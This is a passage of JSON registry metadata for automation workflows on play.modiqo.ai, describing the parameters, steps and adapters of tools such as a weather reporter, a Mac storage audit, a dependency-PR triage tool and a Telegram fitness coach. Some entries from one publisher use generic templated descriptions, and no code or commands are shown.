l,"model":null,"sessions":false},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/debasishg/weather-station-updates@0.0.1","reference":"debasishg/weather-station-updates@0.0.1","uri":"https://play.modiqo.ai/debasishg/weather-station-updates@0.0.1","manifest_uri":"https://play.modiqo.ai/debasishg/weather-station-updates@0.0.1","name":"weather-station-updates","title":"weather-station-updates","description":"Reports current temperatures for a single editable station list, includes wind for the reference station, emits a threshold alert, verifies a live page headline, and captures Python toolchain provenance.","owner":{"kind":"user","slug":"debasishg"},"registry_organization":"debasishg","tags":[],"primary_domain":"domain-uncategorized","author":"Debasish Ghosh","version":"0.0.1","published_at":"2026-08-02T08:26:58.606167+00:00","visibility":"public","quality_score":0.600000023841858,"size_bytes":5202,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":4,"names":["weather","stations","page_headline","python_toolchain"]},"parameters":[{"name":"threshold_c","type":"integer","required":false,"default":"25","description":"Temperature in degrees Celsius that triggers a note for the reference station"},{"name":"page_url","type":"string","required":false,"default":"https://example.com","description":"Public web page whose first h1 or title is returned as a liveness headline"},{"name":"toolchain_file","type":"string","required":false,"default":"python-toolchain.txt","description":"File path where the Python executable and version record is saved"}],"execution":{"adapters":[{"id":"debasishg/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:70a11d23ba9852e4f90cafab1f53a18836ef7301ebd2776e8503ad1cc1145fc4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":1,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":3,"fan_out":3,"for_each_steps":1,"complexity":8,"apis":[{"adapter":"open-meteo","steps":1,"methods":["get_v1_forecast"],"display_name":"open-meteo","host":"api.open-meteo.com","kind":"rest","tools":1,"fingerprint":"mcp_2YgsU84PjXRHyP7ALsx5a5QE2FBy","source":"debasishg/open-meteo","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1},"cost":{"api_tokens":4766,"context_tokens":1256,"exploration_ms":1233,"saved_per_run":6022},"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/paveenkumar-dev/mac-storage-audit@0.0.15","reference":"paveenkumar-dev/mac-storage-audit@0.0.15","uri":"https://play.modiqo.ai/paveenkumar-dev/mac-storage-audit@0.0.15","manifest_uri":"https://play.modiqo.ai/paveenkumar-dev/mac-storage-audit@0.0.15","name":"mac-storage-audit","title":"mac-storage-audit","description":"Shows what is filling up your Mac - the largest idle files and folders, ranked by size and grouped into low, medium, high and unknown risk so you know what is safe to review first. Nested folders are folded into their parent, so one big directory never floods the table and no size is counted twice. Prints a terminal dashboard and returns structured JSON for automation. Scans your home folder and /Applications by default; choose the full data volume to widen coverage. Reports what it could not reach - denied paths, depth limits, APFS snapshots and whether Spotlight metadata was available - so you can judge the numbers. Strictly read-only - nothing is deleted, moved, or uploaded, and sudo is never used. Use mac-audit if you want a saved HTML report.","owner":{"kind":"user","slug":"paveenkumar-dev"},"registry_organization":"paveenkumar-dev","tags":["macos","storage","audit","read-only","housekeeping"],"primary_domain":"domain-uncategorized","author":"paveenkumar-dev","version":"0.0.15","published_at":"2026-09-06T14:18:03.372989+00:00","visibility":"public","quality_score":1,"size_bytes":24852,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":5,"names":["local_snapshots","scan_filesystem","volume_capacity","spotlight_health","scan_applications"]},"parameters":[{"name":"inactivity_days","type":"integer","required":false,"default":30,"description":"An item is a review candidate only after this many days without activity."},{"name":"minimum_size_mb","type":"integer","required":false,"default":50,"description":"Minimum allocated size in MB for a file or directory to be considered."},{"name":"maximum_results","type":"integer","required":false,"default":100,"description":"Maximum cleanup candidates returned, ranked by estimated reclaimable bytes."},{"name":"include_applications","type":"string","required":false,"default":"true","description":"Group applications by usage recency. Accepts true or false.","values":["true","false"]},{"name":"include_caches","type":"string","required":false,"default":"true","description":"Include cache directories such as ~/Library/Caches and ~/.cache. Accepts true or false.","values":["true","false"]},{"name":"include_developer_data","type":"string","required":false,"default":"true","description":"Include developer data such as ~/Library/Developer, ~/.npm, ~/.bun, node_modules and .venv. Accepts true or false.","values":["true","false"]},{"name":"include_external_volumes","type":"string","required":false,"default":"false","description":"Cross filesystem boundaries onto other volumes. Accepts true or false.","values":["true","false"]},{"name":"include_protected_locations","type":"string","required":false,"default":"false","description":"Traverse system, mail, photo library and cloud locations. Accepts true or false.","values":["true","false"]},{"name":"scan_scope","type":"string","required":false,"default":"home","description":"home scans your home directory and /Applications (~54 percent of used space). full scans the whole data volume for ~95 percent accounting and takes about 30 seconds longer; system files are categorised system, risked high and carry a do-not-delete note. Mail, cloud and device-backup locations stay excluded at both scopes. Accepts home or full.","values":["home","full"]},{"name":"time_budget_seconds","type":"integer","required":false,"default":300,"description":"Soft deadline in seconds. A whole-home walk is over a million files; the scan degrades to partial results rather than being killed."},{"name":"max_depth","type":"integer","required":false,"default":12,"description":"Maximum directory depth below the home directory. Deeper subtrees are undercounted and flagged."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:67c5bcc5f4fb465196e1836bf4150d44b5bd4cfabb6759bcfea6760a2bc695bb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ankurrawat/play-plays-plays-at-play@4.15.26","reference":"ankurrawat/play-plays-plays-at-play@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/play-plays-plays-at-play@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/play-plays-plays-at-play@4.15.26","name":"play-plays-plays-at-play","title":"play-plays-plays-at-play","description":"Domain Analysis & Developer Utility for play-plays-plays-at-play: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","play","plays","developer-tools","automation"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:47.910978+00:00","visibility":"public","quality_score":1,"size_bytes":513942,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"},{"id":"hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:66a0564a0de9f7b1a8230b16e069bbddce1d7f4e5e7ab8cd1ac15d201430e430","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"hacker-news-api","steps":1,"methods":["stories/top"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/hacker-news-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/notion-mcp-sprint-scaffolder@4.15.26","reference":"ankurrawat/notion-mcp-sprint-scaffolder@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/notion-mcp-sprint-scaffolder@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/notion-mcp-sprint-scaffolder@4.15.26","name":"notion-mcp-sprint-scaffolder","title":"notion-mcp-sprint-scaffolder","description":"Security & Governance Sentinel for notion-mcp-sprint-scaffolder: Scans authorization tokens, inspects protocol payloads, checks CORS policies, and mitigates OWASP Top 10 vulnerabilities.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","notion","mcp","sprint","scaffolder"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:31.643043+00:00","visibility":"public","quality_score":1,"size_bytes":514028,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_security_advisory","step_4_evaluate_firewall_rules","step_parallel_fanout_execution","step_2_verify_vault_credentials","step_1_initialize_security_scanner","step_5_audit_compliance_benchmarks","step_3_execute_deep_vulnerability_scan"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/cloudflare","name":"cloudflare","version":null,"credential_status":"none"},{"id":"cloudflare","name":"cloudflare","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a304eeacfe4d4952e889368f6d33f784229c3c0a97c0c46ee36b00a4d05b5297","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"cloudflare","steps":1,"methods":["zones/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/cloudflare","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/mikiri-rate-limiter-guard@4.15.26","reference":"ankurrawat/mikiri-rate-limiter-guard@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/mikiri-rate-limiter-guard@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/mikiri-rate-limiter-guard@4.15.26","name":"mikiri-rate-limiter-guard","title":"mikiri-rate-limiter-guard","description":"Security & Governance Sentinel for mikiri-rate-limiter-guard: Scans authorization tokens, inspects protocol payloads, checks CORS policies, and mitigates OWASP Top 10 vulnerabilities.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","mikiri","rate","limiter","guard"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:13.436155+00:00","visibility":"public","quality_score":1,"size_bytes":514137,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_security_advisory","step_4_evaluate_firewall_rules","step_parallel_fanout_execution","step_2_verify_vault_credentials","step_1_initialize_security_scanner","step_5_audit_compliance_benchmarks","step_3_execute_deep_vulnerability_scan"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:79b3306dd2711b650c95f58a50640a5c49d7a2e868dccaf2d63f64218ca594de","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"github","steps":1,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/github-pr-browser-visualizer@4.15.26","reference":"ankurrawat/github-pr-browser-visualizer@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/github-pr-browser-visualizer@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/github-pr-browser-visualizer@4.15.26","name":"github-pr-browser-visualizer","title":"github-pr-browser-visualizer","description":"Headless Browser & E2E Auditor for github-pr-browser-visualizer: Launches headless Chrome/Chromium to audit Core Web Vitals, simulate user journeys, and render PDF reports.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","github","browser","visualizer","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:39.407129+00:00","visibility":"public","quality_score":1,"size_bytes":514028,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_3_audit_core_web_vitals","step_parallel_fanout_execution","step_1_launch_headless_chromium","step_2_navigate_and_capture_network","step_6_generate_lighthouse_scorecard","step_5_evaluate_accessibility_and_seo","step_4_execute_visual_regression_check"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"},{"id":"hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:77fbdda5cc5e8ade4dcf362b15d34f5c4e4adaabee117479b94deedccb28b780","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"hacker-news-api","steps":1,"methods":["stories/top"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/hacker-news-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/expedition-cache-invalidator@4.15.26","reference":"ankurrawat/expedition-cache-invalidator@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/expedition-cache-invalidator@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/expedition-cache-invalidator@4.15.26","name":"expedition-cache-invalidator","title":"expedition-cache-invalidator","description":"Domain Analysis & Developer Utility for expedition-cache-invalidator: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","expedition","cache","invalidator","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:32.397607+00:00","visibility":"public","quality_score":1,"size_bytes":513866,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/cloudflare","name":"cloudflare","version":null,"credential_status":"none"},{"id":"cloudflare","name":"cloudflare","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3ced26aa4924c98a4908dc0d63eb1cd62ef325c90937ec7fc4ea2c037f1bcc56","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"cloudflare","steps":1,"methods":["zones/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/cloudflare","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/dockerfile-micro-architect@4.15.26","reference":"ankurrawat/dockerfile-micro-architect@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/dockerfile-micro-architect@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/dockerfile-micro-architect@4.15.26","name":"dockerfile-micro-architect","title":"dockerfile-micro-architect","description":"DevOps & Container Optimization Engine for dockerfile-micro-architect: Scans build artifacts, optimizes Dockerfile multi-stage layers, and automates CI/CD deployments.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","dockerfile","micro","architect","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:06.520363+00:00","visibility":"public","quality_score":1,"size_bytes":514142,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_2_audit_container_layers","step_parallel_fanout_execution","step_3_optimize_build_artifacts","step_6_emit_deployment_manifest","step_1_inspect_workspace_toolchains","step_4_validate_environment_secrets","step_5_execute_preflight_release_check"]},"parameters":[],"execution":{"adapters":[{"id":"samarthmm/slack","name":"slack","version":null,"credential_status":"none"},{"id":"slack","name":"slack","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e0b8a94d56dc10eb5bfcca4ce3ac6f9ac9bfa7eec13520f95fbdcb59b62ab1fd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"slack","steps":1,"methods":["channels/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"samarthmm/slack","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/priyanshu/review-dependency-update-pr@1.0.2","reference":"priyanshu/review-dependency-update-pr@1.0.2","uri":"https://play.modiqo.ai/priyanshu/review-dependency-update-pr@1.0.2","manifest_uri":"https://play.modiqo.ai/priyanshu/review-dependency-update-pr@1.0.2","name":"review-dependency-update-pr","title":"review-dependency-update-pr","description":"Turn noisy Dependabot and Renovate pull requests into instant, evidence-backed APPROVE, REVIEW, or BLOCK triage decisions. Dissects semantic version jumps, audits changed files for stealth CI/CD workflow tampering (.github/workflows), scans PR bodies for breaking changes, lifecycle hooks (preinstall/postinstall), and CVE advisories, and provides an actionable GitHub-ready review comment with audit trail. Safe, deterministic, read-only.","owner":{"kind":"user","slug":"priyanshu"},"registry_organization":"priyanshu","tags":[],"primary_domain":"domain-uncategorized","author":"priyanshu","version":"1.0.2","published_at":"2026-09-06T13:14:49.62012+00:00","visibility":"public","quality_score":1,"size_bytes":9434,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":4,"names":["fetch_pr","fetch_files","validate_input","compute_verdict"]},"parameters":[{"name":"pr_url","type":"string","required":true,"default":"","description":"Public GitHub dependency update pull request URL, for example https://github.com/OWNER/REPO/pull/123","example":"https://github.com/facebook/react/pull/37349"},{"name":"strict","type":"boolean","required":false,"default":"true","description":"When true, ambiguous evidence stays conservative and biases toward review or block.","values":["true","false"],"example":"true"},{"name":"apply","type":"boolean","required":false,"default":"false","description":"Reserved for future write actions. This Play is read-only and never mutates anything.","values":["true","false"],"example":"false"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:546fd173d89d950b680f4e4f80a6480fae98ee316d392b4c5bf55b1b90d0aa3e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":2},{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/nishitbaria/docs-agent-ready@1.1.0","reference":"nishitbaria/docs-agent-ready@1.1.0","uri":"https://play.modiqo.ai/nishitbaria/docs-agent-ready@1.1.0","manifest_uri":"https://play.modiqo.ai/nishitbaria/docs-agent-ready@1.1.0","name":"docs-agent-ready","title":"docs-agent-ready","description":"Audits whether a developer can build on your product with an AI agent. It picks real pages from your documentation, writes questions those pages provably answer, asks a coding agent each question cold without showing it the page, then grades the answer against the page it should have used. Alongside that it measures, with no model involved, how well those pages travel to an agent - Markdown routes, llms.txt, version clarity, code examples, dates. The two numbers are never blended. Writes a report, a self-contained HTML page and a paste-ready fix prompt. Default run is 8 questions, 4 to 8 minutes and about 1 to 1.50 USD on your own CLI plan; engine=none skips the live half and finishes in seconds.","owner":{"kind":"user","slug":"nishitbaria"},"registry_organization":"nishitbaria","tags":[],"primary_domain":"domain-uncategorized","author":"nishitbaria","version":"1.1.0","published_at":"2026-09-06T12:58:32.977111+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":85732,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":20,"names":["ask_agent","fetch_docs","fetch_llms","score_docs","build_tasks","render_html","agent_review","fetch_robots","fetch_sitemap","grade_answers","normalize_url","fetch_homepage","probe_markdown","collect_outputs","pick_docs_pages","resolve_sitemap","analyze_delivery","identify_product","open_html_report","render_fix_prompt"]},"parameters":[{"name":"url","type":"string","required":true,"description":"Origin of the product or its documentation, scheme included (e.g. https://expo.dev or https://docs.stripe.com). The play finds the documentation area itself."},{"name":"max_pages","type":"string","required":false,"default":"8","description":"How many documentation pages to pick, fetch and probe. Each one can become a question."},{"name":"max_tasks","type":"string","required":false,"default":"8","description":"Upper bound on generated questions. A page too thin to ask a specific question about is reported as skipped rather than padded."},{"name":"tasks_file","type":"string","required":false,"default":"","description":"Absolute path to a previous run's tasks.json. Replays that run's questions instead of writing new ones, and pins page selection to the pages those questions came from, so two runs are comparable. Without it every run writes fresh questions and a moved count could be the questions rather than the documentation."},{"name":"reps","type":"string","required":false,"default":"1","description":"How many times each question is asked. Counts are reported out of questions x reps. Raise it to see how stable an answer is."},{"name":"engine","type":"string","required":false,"default":"agent","description":"Agent CLI that answers the questions, with web search and fetch on. 'agent' tries claude, then codex, then gemini (whichever is installed and signed in). 'none' skips the live half and the report carries the delivery score only. No API key is ever used."},{"name":"writer","type":"string","required":false,"default":"agent","description":"Agent CLI used to write the questions, grade the answers and write the review. Tools are off for all three. Same values as engine; 'none' skips them."},{"name":"html_report","type":"string","required":false,"default":"true","description":"Set to false to skip the HTML report. The markdown report and the fix prompt are always written."},{"name":"open_report","type":"string","required":false,"default":"false","description":"Set to true to open the HTML report in your default browser when the run finishes (macOS and Linux)."},{"name":"user_agent","type":"string","required":false,"default":"Mozilla/5.0 (compatible; DocsAgentAudit/1.0)","description":"User-Agent sent with every read-only fetch."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Absolute directory to write the deliverables into. Created if missing. Empty means keep them in the run workspace only."},{"name":"request_timeout_seconds","type":"string","required":false,"default":"25","description":"Per-request fetch budget, in seconds."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2c3328737f29413ca0a8b82a9fea2f7b019e53755849573559581961817c9966","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":20,"kinds":{"api":0,"shell":20,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":15,"width":4,"fan_out":0,"for_each_steps":0,"complexity":20,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":16},{"name":"curl","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bavya21/smart-fitness-coach@0.6.0","reference":"bavya21/smart-fitness-coach@0.6.0","uri":"https://play.modiqo.ai/bavya21/smart-fitness-coach@0.6.0","manifest_uri":"https://play.modiqo.ai/bavya21/smart-fitness-coach@0.6.0","name":"smart-fitness-coach","title":"smart-fitness-coach","description":"Modern work culture keeps people busy, sedentary, and disconnected from their health. This Smart Fitness Coach helps corporate employees and health-conscious Gen Z users turn their intention to stay fit into consistent action. By understanding each person's goals, experience, schedule, activity, equipment, and recovery, it creates a fitness plan that adapts to their real life, not a one-size-fits-all routine. Built with Rote, the coach transforms personal fitness inputs into actionable guidance and delivers it directly to the user through Telegram.","owner":{"kind":"user","slug":"bavya21"},"registry_organization":"bavya21","tags":["typescript","fitness","workout","recovery","coaching"],"primary_domain":"domain-uncategorized","author":"Bavya Sakthivel","version":"0.6.0","published_at":"2026-09-06T12:39:15.824218+00:00","visibility":"public","quality_score":1,"size_bytes":9648,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["generate_plan","send_telegram"]},"parameters":[{"name":"age","type":"string","required":true,"description":"Age in years. Example: 25."},{"name":"sex","type":"string","required":true,"description":"Sex for fitness personalization. Example: female or male."},{"name":"height_cm","type":"string","required":true,"description":"Height in centimeters. Example: 168 for 5 ft 6 in."},{"name":"weight_kg","type":"string","required":true,"description":"Body weight in kilograms. Example: 60."},{"name":"body_type","type":"string","required":true,"description":"Body type. Example: thin, average, athletic, or higher body fat."},{"name":"goal","type":"string","required":true,"description":"Primary fitness goal. Examples: fit, muscle gain, fat loss, strength, or endurance."},{"name":"experience","type":"string","required":true,"description":"Training experience. Enter 1 for beginner, 2 for intermediate, or 3 for advanced."},{"name":"fitness_level","type":"string","required":true,"description":"Current fitness level. Enter 1 for beginner, 2 for intermediate, or 3 for advanced."},{"name":"days_per_week","type":"string","required":true,"description":"Available training days per week. Enter a number from 1 to 7. Example: 3."},{"name":"session_duration_minutes","type":"string","required":true,"description":"Workout duration in minutes. Example: 30."},{"name":"equipment","type":"string","required":true,"description":"Available equipment. Examples: none, bodyweight, dumbbells, or gym."},{"name":"activity_level","type":"string","required":true,"description":"Daily activity level. Enter 1 for low, 2 for moderate, or 3 for high."},{"name":"recovery","type":"string","required":true,"description":"Current recovery status. Examples: poor, fair, or good."},{"name":"telegram_bot_token","type":"string","required":true,"description":"Telegram bot token supplied securely at runtime. Do not use a placeholder."},{"name":"telegram_chat_id","type":"string","required":true,"description":"Telegram destination chat ID supplied at runtime. Example: 